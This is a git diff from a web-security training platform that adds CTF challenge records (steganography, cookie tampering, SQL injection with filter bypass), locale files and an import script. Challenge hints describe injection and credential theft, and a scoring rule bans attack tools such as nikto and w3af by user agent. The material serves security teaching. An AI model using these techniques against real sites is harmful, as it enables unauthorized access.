details . So, now you have to find out the admin credentials and hand it over to the government officials, so that they can carry out some security checks. Login as admin.\n \n \nHints and Tips : You have the credentials of a user, but his profile is not accessible due to some restrictions the website has setup''d. "You cannot have access to your profile without OurBrowser, *If you are our customer, you would have our paid browser and you would know how to continue". This does lead to something. Check out the http requests, and more importantly You''re LOGGED in (atleast as a user). Here''s another : Wanna have a Cookie ??\n \n \nreference1\n \n \n \nSetup database HERE \n \n \n', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n Rajat Moury\n', 'cool', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 43', 'ch043', '\n \n A Web Developer has made his best out to secure his website from various injection attacks by using various filters and even thinks that even the best hacker couldn''t break into his site. Prove him wrong. Link : SITE. However, you have been just using the system which has a user already logged in. So, first you have to inject the website to get the admin credentials and then search for the admin login page [You wouldn''t even find the admin page by using a search engine as search bots have been excluded]. Common give it a try, All the Best !!

\n \nHints and Tips : +Notice the http requests passing between your browser and localhost server. This is the most common type of vulnerability online these days. There has always been a way to bypass filters.


\n \n \nreference1 reference2
\n \n

Setup database HERE +\n \n \n \n', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n Rajat Moury\n', 'sqli', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL); -- -- Table structure for table challenge_attempts @@ -81,7 +121,7 @@ CREATE TABLE IF NOT EXISTS challenge_attempts ( status int(11) NOT NULL, PRIMARY KEY ( id ), KEY user_id ( user_id , challenge_id , class_id ) -) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; +); -- -------------------------------------------------------- @@ -97,8 +137,7 @@ CREATE TABLE IF NOT EXISTS challenge_attempt_count ( tries int(11) DEFAULT NULL, PRIMARY KEY ( id ), UNIQUE KEY composite_key ( user_id , challenge_id , class_id ) -) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; - +); -- -------------------------------------------------------- -- @@ -115,10 +154,10 @@ CREATE TABLE IF NOT EXISTS classes ( -- -- Dumping data for table classes --- +-- INSERT INTO classes ( id , name , date_created , archive ) VALUES (1, 'Global Class', '2012-08-09 00:43:48', 0); - + -- -------------------------------------------------------- -- @@ -137,7 +176,7 @@ CREATE TABLE IF NOT EXISTS class_challenges ( -- Dumping data for table class_challenges -- - + INSERT INTO class_challenges (challenge_id , class_id , date_created ) VALUES (1, 1, '2012-08-09 01:01:07'), (2, 1, '2012-08-09 01:01:07'), @@ -146,9 +185,12 @@ INSERT INTO class_challenges (challenge_id , class_id , date_created ) VALUE (5, 1, '2012-08-09 01:01:07'), (6, 1, '2012-08-09 01:01:07'), (7, 1, '2012-08-09 01:01:07'), -(8, 1, '2012-08-09 01:01:07'), +(8, 1, '2012-08-09 01:01:07'), (9, 1, '2012-10-16 22:32:58'), -(10, 1, '2012-08-09 01:01:07'); +(10, 1, '2012-08-10 01:01:07'), +(43, 1, '2016-03-10 03:40:01'), +(44, 1, '2016-03-10 03:40:01'), +(45, 1, '2016-03-10 03:40:01'); -- -------------------------------------------------------- @@ -167,6 +209,7 @@ CREATE TABLE IF NOT EXISTS class_memberships ( -- -------------------------------------------------------- + -- -- Table structure for table scoring_rule -- @@ -198,7 +241,162 @@ CREATE TABLE IF NOT EXISTS scoring_rule ( -- INSERT INTO scoring_rule (challenge_id , class_id , attempt_cap , attempt_cap_penalty , time_between_first_and_last_attempt , time_penalty , time_reset_limit_seconds , request_frequency_per_minute , request_frequency_penalty , experimentation_bonus , multiple_solution_bonus , banned_user_agents , banned_user_agents_penalty , base_score , first_try_solves , penalty_for_many_first_try_solves ) VALUES -(-1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'Indy Library,\r\nlibwww-perl, \r\ncurl, \r\nnikto, \r\nw3af, ', 0, 5, 0, 0); +(-1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'Indy Library,\r\nlibwww-perl, \r\ncurl, \r\nnikto, \r\nw3af, ', 0, 1, 0, 0); + +-- -------------------------------------------------------- + +-- +-- Table structure for table options +-- + +CREATE TABLE IF NOT EXISTS options ( + option_name varchar(64) NOT NULL, + option_value text NOT NULL, + PRIMARY KEY (option_name) +); + +-- +-- Dumping data for table options +-- + +INSERT INTO options VALUES +('active_plugins','[]'), +('active_user_theme','""'), +('active_admin_theme','""'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table menus +-- + +CREATE TABLE IF NOT EXISTS menus ( + mid int(11) NOT NULL auto_increment, + name varchar(50) NOT NULL default '', + PRIMARY KEY (`mid`) +); + +-- +-- Dumping data for table menus +-- + +INSERT INTO menus (mid, name) VALUES +(1, 'Admin menu'), +(2, 'Teacher menu'), +(3, 'Student menu'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `pages` +-- + +CREATE TABLE IF NOT EXISTS `pages` ( + `url` varchar(250) NOT NULL default '', + `file` varchar(250) NOT NULL default '', + PRIMARY KEY (`url`) +); + +-- +-- Dumping data for table `pages` +-- + +INSERT INTO `pages` (`url`, `file`) VALUES +('admin', 'admin/index.php'), +('admin/scoringrules', 'admin/pages/scoringrules.php'), +('admin/addarticle', 'admin/pages/addarticle.php'), +('admin/articlemanager', 'admin/pages/articlemanager.php'), +('admin/dashboard', 'admin/pages/dashboard.php'), +('admin/usermanager', 'admin/pages/usermanager.php'), +('admin/addchallenge', 'admin/pages/addchallenge.php'), +('admin/challengemanager', 'admin/pages/challengemanager.php'), +('admin/options', 'admin/pages/options.php'), +('progressreport', 'pages/progress.php'), +('ranking', 'pages/ranking.php'), +('challenges', 'pages/challengelist.php'), +('login', 'pages/login.php'), +('logout', 'pages/logout.php'), +('challenge_monitor', 'pages/challenge_monitor.php'), +('challengelist', 'pages/challengelist.php'), +('challengesfrontend', 'pages/challengesfrontend.php'), +('forgotpassword', 'pages/forgotpassword.php'), +('home', 'pages/home.php'), +('mainlogin', 'pages/mainlogin.php'), +('readarticle', 'pages/readarticle.php'), +('register', 'pages/register.php'), +('resetpassword', 'pages/resetpassword.php'), +('showchallenges', 'pages/showchallenges.php'), +('trychallenge', 'pages/trychallenge.php'), +('admin/addclass', 'admin/pages/addclass.php'), +('admin/adduser', 'admin/pages/adduser.php'), +('admin/classchallenges', 'admin/pages/classchallenges.php'), +('admin/classmemberships', 'admin/pages/classmemberships.php'), +('admin/download', 'admin/pages/download.php'), +('admin/editarticle', 'admin/pages/editarticle.php'), +('admin/editchallenge', 'admin/pages/editchallenge.php'), +('admin/editcode', 'admin/pages/editcode.php'), +('admin/edituser', 'admin/pages/edituser.php'), +('admin/login', 'admin/pages/login.php'), +('admin/logout', 'admin/pages/logout.php'), +('admin/manageclass', 'admin/pages/manageclass.php'), +('admin/menumanager', 'admin/pages/menumanager.php'), +('admin/showclass', 'admin/pages/showclass.php'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `menu_items` +-- + +CREATE TABLE IF NOT EXISTS `menu_items` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `url` varchar(250) NOT NULL default '', + `mid` int(11) NOT NULL, + `label` varchar(50) NOT NULL default '', + `parent` int(11) NOT NULL default 0, + `sort` int(11) default 0, + PRIMARY KEY (`id`), + FOREIGN KEY (`mid`) REFERENCES menus(`mid`) +); + +-- +-- Dumping data for table `menu_items` +-- + +INSERT INTO `menu_items` (`url`, `mid`, `label`, `parent`, `sort`) VALUES +('admin', 1, 'Home', 0, 0), +('admin/addarticle', 1, 'Add New Articles', 0, 1), +('admin/articlemanager', 1, 'Article Manager', 0, 2), +('admin/usermanager', 1, 'Users/Classes', 0, 3), +('admin/addchallenge', 1, 'Add New Challenge', 0, 4), +('admin/challengemanager', 1, 'Challenge Manager', 0, 5), +('admin/menumanager', 1, 'Menu Manager', 0, 6), +('admin/options', 1, 'Options', 0, 7), +('logout', 1, 'Logout', 0, 8), +('admin', 2, 'Admin Dashboard', 0, 0), +('admin/addarticle', 2, 'Add New Articles', 0, 1), +('admin/articlemanager', 2, 'Article Manager', 0, 2), +('admin/usermanager', 2, 'Users/Classes', 0, 3), +('admin/addchallenge', 2, 'Add New Challenge', 0, 4), +('admin/challengemanager', 2, 'Challenge Manager', 0, 5), +('logout', 2, 'Logout', 0, 6), +('home', 3, 'Home', 0, 0), +('progressreport', 3, 'Progress Report', 0, 1), +('ranking', 3, 'Ranking', 0, 2), +('challenges', 3, 'Challenges', 0, 3), +('logout', 3, 'Logout', 0, 4); + +-- -------------------------------------------------------- + +-- +-- Trigger to remove menu items before pages +-- +DROP TRIGGER IF EXISTS before_delete_pages; + +CREATE TRIGGER before_delete_pages + BEFORE DELETE ON pages + FOR EACH ROW + DELETE FROM menu_items WHERE menu_items.url = OLD.url; -- -------------------------------------------------------- @@ -219,26 +417,27 @@ CREATE TABLE IF NOT EXISTS users ( token int(10) DEFAULT '0', PRIMARY KEY ( username ), UNIQUE KEY id ( id ) -); +); -- --- Dumping data for table `users` +-- Dumping data for table users -- - -INSERT INTO `users` (`username`, `full_name`, `email`, `password`, `joined`, `last_visit`, `is_activated`, `type`, `token`) VALUES -('Guest','Guest User','guest@hackademic.com','empty pass this user is never supposed to login normally','2010-01-01 00:00:00','2010-01-01 00:00:00',1,0,0); + +INSERT INTO users (`username`, `full_name`, `email`, `password`, `joined`, `last_visit`, `is_activated`, `type`, `token`) VALUES +('Guest','Guest User','guest@hackademic.com','empty pass this user is never supposed to login normally','2010-01-01 00:00:00','2010-01-01 00:00:00',1,0,0); -- -------------------------------------------------------- -- -- Table structure for table user_has_challenge_token --- +-- CREATE TABLE IF NOT EXISTS user_has_challenge_token ( id int(11) NOT NULL AUTO_INCREMENT, user_id varchar(512) NOT NULL, + class_id varchar(512) NOT NULL, challenge_id varchar(512) NOT NULL, token varchar(256) NOT NULL, PRIMARY KEY ( id ) -); +); -- -------------------------------------------------------- @@ -256,5 +455,5 @@ CREATE TABLE IF NOT EXISTS user_score ( PRIMARY KEY ( id ), KEY user_id ( user_id , challenge_id , class_id ) ); - + SHOW WARNINGS; diff --git a/installation/sql/temp.sql b/installation/sql/temp.sql old mode 100644 new mode 100755 index d3090e98..c10fb058 --- a/installation/sql/temp.sql +++ b/installation/sql/temp.sql @@ -89,7 +89,12 @@ INSERT INTO `challenges` (`id`, `title`, `pkg_name`, `description`, `author`, `c (9, 'Challenge 9', 'ch009', 'A friend of yours has set up a news blog at slagoff.com. However, he is kind of worried \r\n\r\nregarding the security of the news that gets posted on the blog and has asked you to check \r\n\r\nhow secure it is.

Your objective is to determine whether any vulnerabilities \r\n\r\nexist that, if exploited, can grant access to the blog''s server.

Hint: A \r\n\r\nspecially-tailored backdoor shell can be found at "http://www.really_nasty_hacker.com/shell.txt".', 'Andreas Venieris,\n \r\n\r\nKonstantinos Papapanagiotou,\n Anastasios Stasinopoulos,\n Vasilios Vlachos,\r\n\r\n\n Alexandros Papanikolaou', 'web', '2012-08-09 00:31:31', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60), (10, 'Challenge 10', 'ch010', 'Would you like to become an active hacker ?
How about \r\n\r\nbecoming a member of the world''s largest hacker group:
The n1nJ4.n4x0rZ.CreW!
\r\n\r\n
Before you can join though, you ''ll have to prove yourself worthy by passing the \r\n\r\ntest that can be found at: http://n1nj4h4x0rzcr3w.com

If you succeed in completing the challenge, \r\n\r\nyou will get a serial number, which you will use for obtaining the password that will \r\n\r\nenable you to join the group.

Your objective is to bypass the authentication \r\n\r\nmechanism, find the serial number and be supplied with your own username and password from \r\n\r\n the admin team of the site.', 'Andreas Venieris,\n Konstantinos Papapanagiotou,\n \r\n\r\n Anastasios Stasinopoulos,\n Vasilios Vlachos,\n Alexandros \r\n\r\nPapanikolaou', 'web', '2012-08-09 00:32:07', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60), (11, 'Example Template For Challenge xml Files creation', 'example', '

Insert some text describing the scenario of the challenge(what the users are supposed to do and if there is any fictional story)

', 'Name or email or both', 'In what category does your challenge belong?(web? crypto? networks?)', '2012-10-16 22:35:01', 'private', 0, NULL, '1', 60, NULL, NULL, 'private', 1, 0), -(12, 'cookiEng', 'cookiEng', '

Hello, we have heard that you are one of the best hackers in our country. We need your services.
You must visit an underground site and find
the right password. With this password we will cancel 100k+ illegal gun and drug deals!\n The good news are that we have the directory where the password is stored. Its here \\"/t0psec\\".\n The bad news are that we have no access there. Only the administrator does. Go and find the password for us!


Good luck!

', 'Nikos Danopoulos', 'web', '2012-08-09 00:32:07', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60); +(12, 'cookiEng', 'cookiEng', '

Hello, we have heard that you are one of the best hackers in our country. We need your services.
You must visit an underground site and find
the right password. With this password we will cancel 100k+ illegal gun and drug deals!\n The good news are that we have the directory where the password is stored. Its here \\"/t0psec\\".\n The bad news are that we have no access there. Only the administrator does. Go and find the password for us!


Good luck!

', 'Nikos Danopoulos', 'web', '2012-08-09 00:32:07', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60), +(43, 'Challenge 41', 'ch041', '\n \n A Friend of your''s is a great football freak, he has newly created a website [ FootbalLovers ] and has challenged you to get the admin privileges to the website by setting up a ctf type challenge. All you have to do is find out the login credentials of the website and login as admin.\n \n \nHints and tips : First thing you will notice is, that this admin page has right click disabled on it (or rather both the clicks). This is a little annoying thing, but some web developers use it to hide their source code and maybe some private images. You would have to bypass this and get your way around to the credentials, maybe hidden or encrypted. There are some more hints as you proceed through the challenge. Here''s one : "Images can reveal way too much". All the Best, don''t lose patience !!\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'stegano', '2016-03-8 06:51:22', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +(44, 'Challenge 42', 'ch042', '\n \n Government officials have discovered a paid website, which might have illegal activities covering under them, and they have hired you to get the admin login details of this SITE. However, they have solved this to an extent and have MITM''d a regular user to get the following credentials { username : scrtusr & password : mint_cinnamon} however this bit of information isn''t enough to get to the user''s profile or to inject into the website to get admin login details . So, now you have to find out the admin credentials and hand it over to the government officials, so that they can carry out some security checks. Login as admin.\n \n \nHints and Tips : You have the credentials of a user, but his profile is not accessible due to some restrictions the website has setup''d. "You cannot have access to your profile without OurBrowser, *If you are our customer, you would have our paid browser and you would know how to continue". This does lead to something. Check out the http requests, and more importantly You''re LOGGED in (atleast as a user). Here''s another : Wanna have a Cookie ??\n \n reference1\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n Rajat Moury\n', 'cool', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +(45, 'Challenge 43', 'ch043', '\n \n A Web Developer has made his best out to secure his website from various injection attacks by using various filters and even thinks that even the best hacker couldn''t break into his site. Prove him wrong. Link : SITE. However, you have been just using the system which has a user already logged in. So, first you have to inject the website to get the admin credentials and then search for the admin login page [You wouldn''t even find the admin page by using a search engine as search bots have been excluded]. Common give it a try, All the Best !!

\n \nHints and Tips : +Notice the http requests passing between your browser and localhost server. This is the most common type of vulnerability online these days. There has always been a way to bypass filters.


reference1 reference2

+]]>\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n Rajat Moury\n', 'sqli', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL); -- -------------------------------------------------------- diff --git a/locale/en/LC_MESSAGES/messages.mo b/locale/en/LC_MESSAGES/messages.mo new file mode 100755 index 00000000..32c9b38e Binary files /dev/null and b/locale/en/LC_MESSAGES/messages.mo differ diff --git a/locale/en/LC_MESSAGES/messages.po b/locale/en/LC_MESSAGES/messages.po new file mode 100755 index 00000000..50d8adab --- /dev/null +++ b/locale/en/LC_MESSAGES/messages.po @@ -0,0 +1,7 @@ +#Test token 1 +msgid "HELLO_WORLD" +msgstr "Hello World!" + +#Test token 2 +msgid "TEST_TRANSLATION" +msgstr "Testing translation..." diff --git a/locale/fr/french.pot b/locale/fr/french.pot new file mode 100755 index 00000000..d0a1d9da --- /dev/null +++ b/locale/fr/french.pot @@ -0,0 +1,483 @@ +msgid "" +msgstr "Content-Type: text/plain; charset=UTF-8\n" + +#: admin/view/classchallenges.tpl:5 +msgid "Class Membership - Challenges" +msgstr "Membres de la Classe - Challenges" + +#: admin/view/classchallenges.tpl:14 +msgid "Add challenge to class: " +msgstr "Ajouter le challenge à la classe" + +#: admin/view/classchallenges.tpl:31 admin/view/classmanager.tpl:65 +#: admin/view/classmembership.tpl:31 +msgid "Class name" +msgstr "Nom de la classe" + +#: admin/view/classchallenges.tpl:32 admin/view/classchallenges.tpl:37 +#: admin/view/classmembership.tpl:32 admin/view/classmembership.tpl:37 +msgid "Delete" +msgstr "Supprimer" + +#: admin/view/classmanager.tpl:6 admin/view/usermanager.tpl:31 +msgid "Class Manager" +msgstr "Classe Manager" + +#: admin/view/classmanager.tpl:15 admin/view/usermanager.tpl:23 +msgid "Add Class" +msgstr "Ajouter une Classe" + +#: admin/view/classmanager.tpl:33 +msgid "Class Name" +msgstr "Nom de la Classe" + +#: admin/view/classmanager.tpl:36 admin/view/usermanager.tpl:54 +msgid "Show:" +msgstr "Afficher :" + +#: admin/view/classmanager.tpl:39 +msgid "Results per Page" +msgstr "Résultats par Page" + +#: admin/view/classmanager.tpl:66 +msgid "Date created" +msgstr "Date de Création" + +#: admin/view/classmanager.tpl:67 +msgid "Archive?" +msgstr "Archiver ?" + +#: admin/view/classmanager.tpl:68 +msgid "Delete?" +msgstr "Supprimer ?" + +#: admin/view/classmanager.tpl:76 +msgid "Click to archive class!" +msgstr "Cliquez pour archiver la classe !" + +#: admin/view/classmanager.tpl:78 +msgid "Click to unarchive class!" +msgstr "Cliquez pour désarchiver la classe !" + +#: admin/view/classmanager.tpl:82 +msgid "Click to delete class!" +msgstr "Cliquez pour supprimer la classe !" + +#: admin/view/classmembership.tpl:5 +msgid "Class Membership - Users " +msgstr "Membres de la Classe - Utilisateurs " + +#: admin/view/classmembership.tpl:14 +msgid "Add user to class: " +msgstr "Ajouter l'utilisateur à la classe : " + +#: admin/view/dashboard.tpl:5 +msgid "Dashboard" +msgstr "Tableau de Bord" + +#: admin/view/dashboard.tpl:14 admin/view/editor.tpl:42 +msgid "Add New Article" +msgstr "Ajouter un Nouveau Article" + +#: admin/view/dashboard.tpl:22 +msgid "Article Manager" +msgstr "Article Manager" + +#: admin/view/dashboard.tpl:30 admin/view/usermanager.tpl:6 +msgid "User Manager" +msgstr "User Manager" + +#: admin/view/dashboard.tpl:40 +msgid "Add New Challenge" +msgstr "Ajouter un Nouveau Challenge" + +#: admin/view/dashboard.tpl:48 +msgid "Challenge Manager" +msgstr "Challenge Manager" + +#: admin/view/editarticle.tpl:42 +msgid "Edit Article" +msgstr "Editer l'Article" + +#: admin/view/editarticle.tpl:55 admin/view/editor.tpl:55 +msgid "Publish Article" +msgstr "Publier l'Article" + +#: admin/view/editarticle.tpl:58 admin/view/editarticle.tpl:61 +#: admin/view/editor.tpl:57 admin/view/edituser.tpl:37 +#: admin/view/edituser.tpl:40 admin/view/usermanager.tpl:102 +msgid "Yes" +msgstr "Oui" + +#: admin/view/editarticle.tpl:59 admin/view/editarticle.tpl:62 +#: admin/view/editor.tpl:58 admin/view/edituser.tpl:38 +#: admin/view/edituser.tpl:41 admin/view/usermanager.tpl:102 +msgid "No" +msgstr "Non" + +#: admin/view/editarticle.tpl:69 admin/view/editor.tpl:62 +msgid "Write your Article" +msgstr "Ecrire votre Article" + +#: admin/view/editchallenge.tpl:42 +msgid "Edit Challenge" +msgstr "Editer le Challenge" + +#: admin/view/editchallenge.tpl:50 +msgid "Edit Code" +msgstr "Editer le Code" + +#: admin/view/editchallenge.tpl:57 +msgid "Description" +msgstr "Description" + +#: admin/view/editchallenge.tpl:67 +msgid "Visibility" +msgstr "Visibilité" + +#: admin/view/editchallenge.tpl:70 admin/view/editchallenge.tpl:74 +#: admin/view/editchallenge.tpl:82 admin/view/editchallenge.tpl:86 +#: admin/view/editchallenge.tpl:99 +msgid "Public" +msgstr "Publique" + +#: admin/view/editchallenge.tpl:71 admin/view/editchallenge.tpl:73 +#: admin/view/editchallenge.tpl:83 admin/view/editchallenge.tpl:85 +msgid "Private" +msgstr "Privé" + +#: admin/view/editchallenge.tpl:79 +msgid "Availability" +msgstr "Disponibilité" + +#: admin/view/editchallenge.tpl:92 +msgid "Published" +msgstr "Publié" + +#: admin/view/editchallenge.tpl:95 +msgid "Not published" +msgstr "Non publié" + +#: admin/view/editchallenge.tpl:96 admin/view/editchallenge.tpl:98 +msgid "Publish" +msgstr "Publié" + +#: admin/view/editchallenge.tpl:104 +msgid "Level" +msgstr "Niveau" + +#: admin/view/editchallenge.tpl:108 +msgid "Duration(minutes)" +msgstr "Durée (minutes)" + +#: admin/view/editcode.tpl:4 +msgid "Edit Code - " +msgstr "Editer le Code - " + +#: admin/view/editcode.tpl:14 +msgid "" +"This section allows you to only edit the challenge index.php file.\r\n" +" To edit other parts of the challenge, its " +"recommended that you download the challenge,\r\n" +" and reupload it once you have made the necessary " +"changes." +msgstr "" + +#: admin/view/editcode.tpl:31 +msgid "Download Challange" +msgstr "Télécharger le Challenge" + +#: admin/view/editor.tpl:51 view/progressreport.tpl:28 +msgid "Title" +msgstr "Titre" + +#: admin/view/edituser.tpl:5 +msgid "Edit User" +msgstr "Editer l'Utilisateur" + +#: admin/view/edituser.tpl:14 admin/view/showclass.tpl:44 +#: admin/view/usermanager.tpl:49 admin/view/usermanager.tpl:83 +#: view/rankings.tpl:31 view/register_user.tpl:12 view/user_login.tpl:6 +msgid "Username" +msgstr "Nom d'utilisateur" + +#: admin/view/edituser.tpl:19 admin/view/usermanager.tpl:50 +#: admin/view/usermanager.tpl:84 view/register_user.tpl:17 +msgid "Full Name" +msgstr "Nom Complet" + +#: admin/view/edituser.tpl:24 admin/view/usermanager.tpl:51 +#: admin/view/usermanager.tpl:85 view/register_user.tpl:22 +msgid "Email" +msgstr "Email" + +#: admin/view/edituser.tpl:29 view/register_user.tpl:27 view/user_login.tpl:8 +msgid "Password" +msgstr "Mot de Passe" + +#: admin/view/edituser.tpl:34 +msgid "Activate User" +msgstr "Activer l'utilisateur" + +#: admin/view/edituser.tpl:47 +msgid "Select the type of user" +msgstr "Sélectionner le type d'utilisateur" + +#: admin/view/edituser.tpl:50 admin/view/edituser.tpl:56 +#: admin/view/edituser.tpl:60 admin/view/usermanager.tpl:103 +msgid "Student" +msgstr "Etudiant" + +#: admin/view/edituser.tpl:51 admin/view/edituser.tpl:55 +#: admin/view/edituser.tpl:58 admin/view/usermanager.tpl:103 +msgid "Admin" +msgstr "Admin" + +#: admin/view/edituser.tpl:52 admin/view/edituser.tpl:54 +#: admin/view/edituser.tpl:59 admin/view/usermanager.tpl:103 +msgid "Teacher" +msgstr "Professeur" + +#: admin/view/menumanager.tpl:7 +msgid "Menu Manager" +msgstr "Menu Manager" + +#: admin/view/options.tpl:5 +msgid "Options" +msgstr "Options" + +#: admin/view/options.tpl:11 +msgid "Plugins" +msgstr "Plugins" + +#: admin/view/options.tpl:22 +msgid " Plugin URI: " +msgstr " Plugin URI : " + +#: admin/view/options.tpl:26 admin/view/options.tpl:67 +msgid "Author:" +msgstr "Auteur :" + +#: admin/view/options.tpl:30 admin/view/options.tpl:71 +msgid "Author URI: " +msgstr "Auteur URI : " + +#: admin/view/options.tpl:41 +msgid "" +"No plugins installed at the moment. You can add plugins by droping the " +"plugin files in the plugins folder." +msgstr "" + +#: admin/view/options.tpl:44 +msgid "User themes" +msgstr "Thèmes Utilisateur" + +#: admin/view/options.tpl:47 +msgid "System" +msgstr "Système" + +#: admin/view/options.tpl:48 +msgid "The default system theme." +msgstr "Thème système par défault." + +#: admin/view/options.tpl:63 +msgid "Theme URI:" +msgstr "Thème URI :" + +#: admin/view/scoringrules.tpl:5 +msgid "Scoring Rules For: " +msgstr "Règles de Notation pour : " + +#: admin/view/scoringrules.tpl:5 +msgid "Challenge: " +msgstr "Challenge : " + +#: admin/view/scoringrules.tpl:11 +msgid "Rule Name" +msgstr "Nom de la Règle" + +#: admin/view/scoringrules.tpl:12 +msgid "Value" +msgstr "Valeur" + +#: admin/view/showclass.tpl:5 +msgid "Class Memberships" +msgstr "Membres de la Classe" + +#: admin/view/showclass.tpl:13 +msgid "Name: " +msgstr "Nom : " + +#: admin/view/showclass.tpl:25 +msgid "Add challenges" +msgstr "Ajouter des challenges" + +#: admin/view/showclass.tpl:36 +msgid "Add users" +msgstr "Ajouter des utilisateurs" + +#: admin/view/showclass.tpl:45 admin/view/showclass.tpl:50 +#: admin/view/showclass.tpl:58 admin/view/showclass.tpl:64 +msgid "Remove" +msgstr "Supprimer" + +#: admin/view/showclass.tpl:57 +msgid "Challenge" +msgstr "Challenge" + +#: admin/view/showclass.tpl:59 +msgid "Edit Scoring Rules" +msgstr "Editer les Règles de Notation" + +#: admin/view/showclass.tpl:65 admin/view/usermanager.tpl:98 +msgid "Edit" +msgstr "Editer" + +#: admin/view/usermanager.tpl:15 +msgid "Add User" +msgstr "Ajouter un Utilisateur" + +#: admin/view/usermanager.tpl:46 +msgid "Sort By:" +msgstr "Ordonner :" + +#: admin/view/usermanager.tpl:57 +msgid "Results Per Page" +msgstr "Résultats par Page" + +#: admin/view/usermanager.tpl:86 +msgid "Classes" +msgstr "Classes" + +#: admin/view/usermanager.tpl:87 +msgid "Joined" +msgstr "Rejoint le" + +#: admin/view/usermanager.tpl:88 +msgid "Last Visit" +msgstr "Dernière Visite" + +#: admin/view/usermanager.tpl:89 +msgid "Activated" +msgstr "Activé" + +#: admin/view/usermanager.tpl:90 +msgid "Type Of User" +msgstr "Type d'Utilisateur" + +#: admin/view/usermanager.tpl:101 +msgid "Never" +msgstr "Jamais" + +#: view/challenge_list.tpl:4 +msgid "Challenges" +msgstr "Challenges" + +#: view/forgotpw.tpl:4 +msgid "Forgot Your Password?" +msgstr "Mot de Passe Oublié ?" + +#: view/forgotpw.tpl:11 +msgid "Enter Your Username:" +msgstr "Entrer votre Nom d'Utilisateur" + +#: view/landingpage.tpl:11 +msgid "Read More" +msgstr "Lire la Suite" + +#: view/_pagination_frontend.tpl:7 view/_pagination_frontend.tpl:12 +msgid "Previous" +msgstr "Précédent" + +#: view/_pagination_frontend.tpl:125 view/_pagination_frontend.tpl:127 +#: view/_pagination_frontend.tpl:130 +msgid "Next" +msgstr "Suivant" + +#: view/progressreport.tpl:4 +msgid "Progress Report" +msgstr "Rapport de Progrès" + +#: view/progressreport.tpl:13 +msgid "Enter a name to search:" +msgstr "Entrer un nom à rechercher :" + +#: view/progressreport.tpl:29 +msgid "No. Of Attempts" +msgstr "Nombre de Tentatives" + +#: view/progressreport.tpl:30 view/progressreport.tpl:37 +msgid "Cleared" +msgstr "Résolu" + +#: view/progressreport.tpl:31 +msgid "Cleared On" +msgstr "Résolu" + +#: view/progressreport.tpl:36 +msgid "Unattempted" +msgstr "Non essayé" + +#: view/progressreport.tpl:37 view/progressreport.tpl:38 +msgid "Not Cleared" +msgstr "Non Résolu" + +#: view/rankings.tpl:4 +msgid "Rankings" +msgstr "Classements" + +#: view/rankings.tpl:13 +msgid "Select Class:" +msgstr "Sélectionner la Classe :" + +#: view/rankings.tpl:32 +msgid "Challenges Cleared" +msgstr "Challenge Réussi" + +#: view/rankings.tpl:33 +msgid "Rank" +msgstr "Classement" + +#: view/rankings.tpl:34 +msgid "Total Points" +msgstr "Total des Points" + +#: view/register_user.tpl:5 +msgid "Register User" +msgstr "Enregistrer l'Utiliateur" + +#: view/register_user.tpl:32 +msgid "Confirm Password" +msgstr "Confirmer le Mot de Passe" + +#: view/resetpw.tpl:4 +msgid "Reset Your Password?" +msgstr "Mettre à Jour votre Mot de Passe ?" + +#: view/resetpw.tpl:11 +msgid "Enter New Password:" +msgstr "Entrer un Nouveau Mot de Passe :" + +#: view/resetpw.tpl:16 +msgid "Confirm Password:" +msgstr "Confirmer le Mot de Passe :" + +#: view/showChallenge.tpl:13 +msgid "Try it!" +msgstr "Essayez !" + +#: view/user_login.tpl:1 +msgid "HELLO_WORLD" +msgstr "Hello World!" + +#: view/user_login.tpl:5 +msgid "Login Details" +msgstr "Détails de connexion" + +#: view/user_login.tpl:11 +msgid "Forgot your password" +msgstr "Mot de passe oublié" + +#: view/user_login.tpl:12 +msgid "Create an account" +msgstr "Créer un compte" diff --git a/misc_scripts/add_Guest_to_every_class.php b/misc_scripts/add_Guest_to_every_class.php old mode 100644 new mode 100755 diff --git a/misc_scripts/mass_add_challenge.php b/misc_scripts/mass_add_challenge.php new file mode 100755 index 00000000..aac4b51b --- /dev/null +++ b/misc_scripts/mass_add_challenge.php @@ -0,0 +1,63 @@ +id); + + $target = HACKADEMIC_PATH."challenges/ch0$i"; + $xml = simplexml_load_file("$target/ch0$i.xml"); + if($xml == false) { + error_log("xml is false"); + $errors = libxml_get_errors(); + foreach($errors as $err){ + var_dump($err); + error_log($err); + } + die(); + } +// echo "

xml =";var_dump($xml);echo "

"; + $a = array( + 'title' => $xml->title, + 'author' => $xml->author, + 'description' => $xml->description, + 'category' => $xml->category, + 'level' => $xml->level, + 'duration' =>$xml->duration + ); + $pkg_name = "ch0$i"; + $challenge = new Challenge(); + $challenge->title = $a['title']; + $challenge->pkg_name = $pkg_name; + $challenge->description = $a['description']; + $challenge->author = $a['author']; + $challenge->category = $a['category']; + $challenge->date_posted = date("Y-m-d H-i-s"); + $challenge->level = $a['level']; + $challenge->duration = $a['duration']; + echo "Challenge $pkg_name added

";var_dump(ChallengeBackend::addChallenge($challenge));echo"

